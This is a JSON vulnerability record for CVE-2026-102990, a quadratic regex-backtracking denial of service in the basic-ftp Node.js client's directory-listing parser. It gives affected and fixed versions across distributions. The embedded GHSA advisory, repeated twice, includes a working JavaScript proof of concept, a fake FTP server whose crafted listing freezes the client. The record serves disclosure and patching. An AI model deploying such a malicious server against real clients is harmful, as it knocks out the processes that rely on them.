{"id":"CVE-2026-102990","aliases":["CLSA-2026-1792170033","CLSA-2026-1792170040","DEBIAN-CVE-2026-102990","EUVD-2026-90360","GHSA-c475-qrg2-pj4r","ROOT-APP-NPM-CVE-2026-102990","UBUNTU-CVE-2026-102990"],"status":"published","title":"basic-ftp: Quadratic-time CPU denial of service in Client.list() Unix directory-listing parser (RE_LINE backtracking)","description":"basic-ftp is an FTP client for Node.js. Prior to 6.2.1, Client.list() can be forced by a malicious or compromised FTP server to spend quadratic CPU time parsing a directory listing because the RE_LINE expression in src/parseListUnix.ts backtracks across adjacent variable-length owner and group fields when a long Unix-style line has a valid prefix but cannot satisfy the later size and date fields. parseList() selects a parser from the last nonblank line and then applies it to every line, so a normal final line can select the Unix parser while an earlier crafted line blocks the Node.js event loop and freezes the process. This issue is fixed in version 6.2.1.","severity":{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.0037,"percentile":0.31361,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1333"],"published":"2026-09-30T19:44:47Z","modified":"2026-10-28T02:30:49Z","fixes":[{"ecosystem":"npm","package":"basic-ftp","fixed_in":["6.2.1"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"basic-ftp","fixed_in":["5.0.5-tuxcare.3","5.3.1-tuxcare.2"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-proxy-agents","fixed_in":["0~2025070717+~cs16.2.9-1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"basic-ftp","fixed_in":["5.3.1-aikido.2","5.0.5-aikido.7"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/basic-ftp","fixed_in":["5.3.1-root.io.2","5.0.5-root.io.7"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"basic-ftp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"6.2.0"},{"fixed":"6.2.1"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"basic-ftp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.0.5-tuxcare.0"},{"fixed":"5.0.5-tuxcare.3"}]}],"versions":["5.0.5","5.0.5-tuxcare.1","5.0.5-tuxcare.2"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"basic-ftp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.3.1-tuxcare.0"},{"fixed":"5.3.1-tuxcare.2"}]}],"versions":["5.3.1","5.3.1-tuxcare.1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-proxy-agents","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0~2024040606-6","0~2024040606-6+deb13u1","0~2025070717+~cs15.2.7-1","0~2025070717+~cs15.3.7-1","0~2025070717+~cs15.3.8-1","0~2025070717+~cs15.3.8-2","0~2025070717+~cs15.3.8-3","0~2025070717+~cs16.2.9-1","0~2025070717-1","0~2025070717-2","0~2025070717-3","0~2025070717-4","0~2025070717-5","0~2025070717-6"]},{"source":"osv","ecosystem":"Debian:14","package":"node-proxy-agents","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0~2025070717+~cs16.2.9-1"}]}],"versions":["0~2024040606-6","0~2025070717+~cs15.2.7-1","0~2025070717+~cs15.3.7-1","0~2025070717+~cs15.3.8-1","0~2025070717+~cs15.3.8-2","0~2025070717+~cs15.3.8-3","0~2025070717-1","0~2025070717-2","0~2025070717-3","0~2025070717-4","0~2025070717-5","0~2025070717-6"]},{"source":"osv","ecosystem":"npm","package":"basic-ftp","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"6.2.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"basic-ftp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.3.1-aikido.2"},{"fixed":"5.0.5-aikido.7"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/basic-ftp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.3.1-root.io.2"},{"fixed":"5.0.5-root.io.7"}]}]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-proxy-agents","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0~2023071921-5"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-proxy-agents","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0~2025070717+~cs15.2.7-1build1","0~2025070717+~cs15.3.8-1","0~2025070717+~cs15.3.8-2","0~2025070717+~cs15.3.8-3"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-proxy-agents","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0~2025070717-2","0~2025070717-6","0~2025070717+~cs15.2.7-1build1"]}],"products":[{"vendor":"patrickjuchli","product":"basic-ftp"}],"references":[{"url":"https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-c475-qrg2-pj4r","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/patrickjuchli/basic-ftp/commit/d0d9e07c56e519587bb50532ac6eadbb0cb0cfe9","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.1","tags":["x_refsource_MISC","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102990","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-c475-qrg2-pj4r"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/102xxx/CVE-2026-102990.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-102990","tags":["advisory"]},{"url":"https://github.com/patrickjuchli/basic-ftp","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-102990","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-102990","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-102990","title":"basic-ftp: Quadratic-time CPU denial of service in Client.list() Unix directory-listing parser (RE_LINE backtracking)","description":"basic-ftp is an FTP client for Node.js. Prior to 6.2.1, Client.list() can be forced by a malicious or compromised FTP server to spend quadratic CPU time parsing a directory listing because the RE_LINE expression in src/parseListUnix.ts backtracks across adjacent variable-length owner and group fields when a long Unix-style line has a valid prefix but cannot satisfy the later size and date fields. parseList() selects a parser from the last nonblank line and then applies it to every line, so a normal final line can select the Unix parser while an earlier crafted line blocks the Node.js event loop and freezes the process. This issue is fixed in version 6.2.1.","status":"published","published":"2026-09-30T19:44:47.303Z","modified":"2026-09-30T20:05:49.721Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T13:38:54.394896Z"}],"euvd":[{"id":"EUVD-2026-90360","description":"basic-ftp is an FTP client for Node.js. Prior to 6.2.1, Client.list() can be forced by a malicious or compromised FTP server to spend quadratic CPU time parsing a directory listing because the RE_LINE expression in src/parseListUnix.ts backtracks across adjacent variable-length owner and group fields when a long Unix-style line has a valid prefix but cannot satisfy the later size and date fields. parseList() selects a parser from the last nonblank line and then applies it to every line, so a normal final line can select the Unix parser while an earlier crafted line blocks the Node.js event loop and freezes the process. This issue is fixed in version 6.2.1.","status":"published","published":"2026-09-30T19:44:47Z","modified":"2026-09-30T20:05:49Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T17:27:47.293232Z"}],"ghsa":[{"id":"GHSA-c475-qrg2-pj4r","title":"basic-ftp: Quadratic-time CPU denial of service in Client.list() Unix directory-listing parser (RE_LINE backtracking)","description":"## Summary\n\n`Client.list()` parses the server's directory listing with the Unix-style parser in `parseListUnix.js`. Its `RE_LINE` regex has two adjacent `(\\S+(?:\\s\\S+)*)` groups (owner name, then group name) followed by a required numeric size group. When a line starts with a valid listing prefix but the tokens after it never satisfy the size and date fields, the engine backtracks over every way of splitting those tokens between the two groups before it can fail, so matching one line costs roughly O(n²) in the line's length.\n\nThe server whose directory a client lists controls that listing, so it can return one line that pins the Node.js event loop for as long as it likes. `parseList()` picks the parser from the last non-blank line only, then runs it on every line, so a normal line placed last selects the Unix parser and a crafted line earlier hits the quadratic match.\n\n## Proof of concept\n\n`npm i basic-ftp \u0026\u0026 node repro.js`:\n\n```js\nconst net = require(\"net\"), ftp = require(\"basic-ftp\");\nconst KB = Number(process.env.LINE_KB || 128);\nconst payload = \"-rw-r--r-- 1 \" + \"a \".repeat((KB * 1024 - 13) / 2) + \"!\";\nconst listing = payload + \"\\r\\n-rw-r--r-- 1 owner group 42 Jan 1 2020 file.txt\\r\\n\";\nconst server = net.createServer(c =\u003e {\n  c.setEncoding(\"latin1\"); c.write(\"220 ok\\r\\n\"); let buf = \"\";\n  c.on(\"data\", d =\u003e { buf += d; let i;\n    while ((i = buf.indexOf(\"\\r\\n\")) !== -1) {\n      const cmd = buf.slice(0, i).toUpperCase(); buf = buf.slice(i + 2);\n      if (cmd.startsWith(\"USER\")) c.write(\"331 .\\r\\n\");\n      else if (cmd.startsWith(\"PASS\")) c.write(\"230 .\\r\\n\");\n      else if (cmd.startsWith(\"FEAT\")) c.write(\"211-x\\r\\n UTF8\\r\\n211 End\\r\\n\");\n      else if (cmd.startsWith(\"EPSV\")) { const ds = net.createServer(s =\u003e { s.write(listing); s.end(); });\n        ds.listen(0, \"127.0.0.1\", () =\u003e c.write(`229 (|||${ds.address().port}|)\\r\\n`)); }\n      else if (cmd.startsWith(\"LIST\")) { c.write(\"150 .\\r\\n\"); setTimeout(() =\u003e c.write(\"226 .\\r\\n\"), 50); }\n      else c.write(\"200 .\\r\\n\"); } });\n});\nserver.listen(0, \"127.0.0.1\", async () =\u003e {\n  const client = new ftp.Client(0);\n  await client.access({ host: \"127.0.0.1\", port: server.address().port, user: \"x\", password: \"y\" });\n  let beats = 0; const hb = setInterval(() =\u003e beats++, 1000); const t = Date.now();\n  await client.list(); clearInterval(hb);\n  console.log(`list() blocked ${(Date.now() - t) / 1000}s; heartbeats fired: ${beats}`);\n  process.exit(0);\n});\n```\n\nPrints `list() blocked 39.75s; heartbeats fired: 0`, versus ~0.06s for a normal listing. The event loop is frozen the whole time. Cost is quadratic: 32 KB ≈ 2.4s, 64 KB ≈ 9.6s, 128 KB ≈ 39s. `maxListingBytes` defaults to 40 MB, so a single line can be far larger, and ~1 MB already blocks for tens of minutes.\n\n## Impact\n\nOne directory listing freezes the whole process, under default options, through the primary API. This is the same \"malicious FTP server causes client-side denial of service\" shape as GHSA-rp42-5vxx-qpwr, also in `Client.list()` and rated high. The byte cap added there bounds memory, not the parser's CPU cost.","status":"published","published":"2026-10-01T14:42:42Z","modified":"2026-10-01T14:42:45Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:41:23.783773Z"}],"nvd":[{"id":"CVE-2026-102990","description":"basic-ftp is an FTP client for Node.js. Prior to 6.2.1, Client.list() can be forced by a malicious or compromised FTP server to spend quadratic CPU time parsing a directory listing because the RE_LINE expression in src/parseListUnix.ts backtracks across adjacent variable-length owner and group fields when a long Unix-style line has a valid prefix but cannot satisfy the later size and date fields. parseList() selects a parser from the last nonblank line and then applies it to every line, so a normal final line can select the Unix parser while an earlier crafted line blocks the Node.js event loop and freezes the process. This issue is fixed in version 6.2.1.","status":"published","published":"2026-09-30T20:17:26.14Z","modified":"2026-09-30T21:17:06.307Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:12:53.097633Z"}],"osv":[{"id":"CVE-2026-102990","title":"basic-ftp: Quadratic-time CPU denial of service in Client.list() Unix directory-listing parser (RE_LINE backtracking)","description":"basic-ftp is an FTP client for Node.js. Prior to 6.2.1, Client.list() can be forced by a malicious or compromised FTP server to spend quadratic CPU time parsing a directory listing because the RE_LINE expression in src/parseListUnix.ts backtracks across adjacent variable-length owner and group fields when a long Unix-style line has a valid prefix but cannot satisfy the later size and date fields. parseList() selects a parser from the last nonblank line and then applies it to every line, so a normal final line can select the Unix parser while an earlier crafted line blocks the Node.js event loop and freezes the process. This issue is fixed in version 6.2.1.","status":"published","published":"2026-09-30T19:44:47.303Z","modified":"2026-10-28T02:30:49.751723152Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T15:44:54.236592Z"},{"id":"DEBIAN-CVE-2026-102990","description":"basic-ftp is an FTP client for Node.js. Prior to 6.2.1, Client.list() can be forced by a malicious or compromised FTP server to spend quadratic CPU time parsing a directory listing because the RE_LINE expression in src/parseListUnix.ts backtracks across adjacent variable-length owner and group fields when a long Unix-style line has a valid prefix but cannot satisfy the later size and date fields. parseList() selects a parser from the last nonblank line and then applies it to every line, so a normal final line can select the Unix parser while an earlier crafted line blocks the Node.js event loop and freezes the process. This issue is fixed in version 6.2.1.","status":"published","published":"2026-09-30T20:17:26.14Z","modified":"2026-10-13T11:00:06.489770703Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:45:48.903138Z"},{"id":"GHSA-c475-qrg2-pj4r","title":"basic-ftp: Quadratic-time CPU denial of service in Client.list() Unix directory-listing parser (RE_LINE backtracking)","description":"## Summary\n\n`Client.list()` parses the server's directory listing with the Unix-style parser in `parseListUnix.js`. Its `RE_LINE` regex has two adjacent `(\\S+(?:\\s\\S+)*)` groups (owner name, then group name) followed by a required numeric size group. When a line starts with a valid listing prefix but the tokens after it never satisfy the size and date fields, the engine backtracks over every way of splitting those tokens between the two groups before it can fail, so matching one line costs roughly O(n²) in the line's length.\n\nThe server whose directory a client lists controls that listing, so it can return one line that pins the Node.js event loop for as long as it likes. `parseList()` picks the parser from the last non-blank line only, then runs it on every line, so a normal line placed last selects the Unix parser and a crafted line earlier hits the quadratic match.\n\n## Proof of concept\n\n`npm i basic-ftp \u0026\u0026 node repro.js`:\n\n```js\nconst net = require(\"net\"), ftp = require(\"basic-ftp\");\nconst KB = Number(process.env.LINE_KB || 128);\nconst payload = \"-rw-r--r-- 1 \" + \"a \".repeat((KB * 1024 - 13) / 2) + \"!\";\nconst listing = payload + \"\\r\\n-rw-r--r-- 1 owner group 42 Jan 1 2020 file.txt\\r\\n\";\nconst server = net.createServer(c =\u003e {\n  c.setEncoding(\"latin1\"); c.write(\"220 ok\\r\\n\"); let buf = \"\";\n  c.on(\"data\", d =\u003e { buf += d; let i;\n    while ((i = buf.indexOf(\"\\r\\n\")) !== -1) {\n      const cmd = buf.slice(0, i).toUpperCase(); buf = buf.slice(i + 2);\n      if (cmd.startsWith(\"USER\")) c.write(\"331 .\\r\\n\");\n      else if (cmd.startsWith(\"PASS\")) c.write(\"230 .\\r\\n\");\n      else if (cmd.startsWith(\"FEAT\")) c.write(\"211-x\\r\\n UTF8\\r\\n211 End\\r\\n\");\n      else if (cmd.startsWith(\"EPSV\")) { const ds = net.createServer(s =\u003e { s.write(listing); s.end(); });\n        ds.listen(0, \"127.0.0.1\", () =\u003e c.write(`229 (|||${ds.address().port}|)\\r\\n`)); }\n      else if (cmd.startsWith(\"LIST\")) { c.write(\"150 .\\r\\n\"); setTimeout(() =\u003e c.write(\"226 .\\r\\n\"), 50); }\n      else c.write(\"200 .\\r\\n\"); } });\n});\nserver.listen(0, \"127.0.0.1\", async () =\u003e {\n  const client = new ftp.Client(0);\n  await client.access({ host: \"127.0.0.1\", port: server.address().port, user: \"x\", password: \"y\" });\n  let beats = 0; const hb = setInterval(() =\u003e beats++, 1000); const t = Date.now();\n  await client.list(); clearInterval(hb);\n  console.log(`list() blocked ${(Date.now() - t) / 1000}s; heartbeats fired: ${beats}`);\n  process.exit(0);\n});\n```\n\nPrints `list() blocked 39.75s; heartbeats fired: 0`, versus ~0.06s for a normal listing. The event loop is frozen the whole time. Cost is quadratic: 32 KB ≈ 2.4s, 64 KB ≈ 9.6s, 128 KB ≈ 39s. `maxListingBytes` defaults to 40 MB, so a single line can be far larger, and ~1 MB already blocks for tens of minutes.\n\n## Impact\n\nOne directory listing freezes the whole process, under default options, through the primary API. This is the same \"malicious FTP server causes client-side denial of service\" shape as GHSA-rp42-5vxx-qpwr, also in `Client.list()` and rated high. The byte cap added there bounds memory, not the parser's CPU cost.","status":"published","published":"2026-10-01T14:42:42Z","modified":"2026-10-01T15:00:04.517943812Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T15:46:44.571161Z"},{"id":"UBUNTU-CVE-2026-102990","description":"basic-ftp is an FTP client for Node.js. Prior to 6.2.1, Client.list() can be forced by a malicious or compromised FTP server to spend quadratic CPU time parsing a directory listing because the RE_LINE expression in src/parseListUnix.ts backtracks across adjacent variable-length owner and group fields when a long Unix-style line has a valid prefix but cannot satisfy the later size and date fields. parseList() selects a parser from the last nonblank line and then applies it to every line, so a normal final line can select the Unix parser while an earlier crafted line blocks the Node.js event loop and freezes the process. This issue is fixed in version 6.2.1.","status":"published","published":"2026-09-30T20:17:00Z","modified":"2026-10-17T12:57:56.727527606Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:55:58.519486Z"},{"id":"CLSA-2026-1792170033","title":"TuxCare security update for basic-ftp (1 CVE)","description":"TuxCare rebuilt basic-ftp to address 1 CVE. Fixed in 5.0.5-tuxcare.3.","status":"published","published":"2026-10-16T17:00:33Z","modified":"2026-10-16T19:00:02.133568537Z","updated_at":"2026-11-02T15:43:51.747192Z"},{"id":"CLSA-2026-1792170040","title":"TuxCare security update for basic-ftp (1 CVE)","description":"TuxCare rebuilt basic-ftp to address 1 CVE. Fixed in 5.3.1-tuxcare.2.","status":"published","published":"2026-10-16T17:00:40Z","modified":"2026-10-16T19:00:02.136634112Z","updated_at":"2026-11-02T15:43:51.747192Z"},{"id":"ROOT-APP-NPM-CVE-2026-102990","title":"CVE-2026-102990 in basic-ftp - Patched by Root","description":"Root has patched CVE-2026-102990 in the basic-ftp package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-19T12:16:11Z","modified":"2026-10-19T13:15:03.060710763Z","updated_at":"2026-11-02T15:53:27.362922Z"}]}}
